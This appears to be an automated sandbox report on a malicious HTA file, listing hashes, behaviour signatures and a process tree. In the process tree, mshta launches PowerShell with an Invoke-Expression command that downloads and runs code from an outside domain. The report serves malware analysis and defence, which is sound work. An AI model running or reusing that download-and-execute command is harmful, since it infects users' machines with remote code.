Resubmissions

01-06-2024 21:09

240601-zzxvbafa7v 7

Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    01-06-2024 21:09

General

  • Target

    02-downloaded-HTA-file/ok.hta

  • Size

    2KB

  • MD5

    a77becccca5571c00ebc9e516fd96ce8

  • SHA1

    d8fb7d7985860e813d33927aa95f7ac54ff400b6

  • SHA256

    5c204217d48f2565990dfdf2269c26113bd14c204484d8f466fb873312da80cf

  • SHA512

    03d14473a27a83d56d80a489413fc3e1f543a4478f5e77ec120142cd1f4ebbe76d7d1c2d0edcdb214ec3c28cfb2bd7ce157d80abf4c727cbda729bfde8627149

Score
3/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\02-downloaded-HTA-file\ok.hta"
    1⤵
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2232
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'flexiblemaria.com/umkglnks')
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2508

Network

MITRE ATT&CK Enterprise v15

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Downloads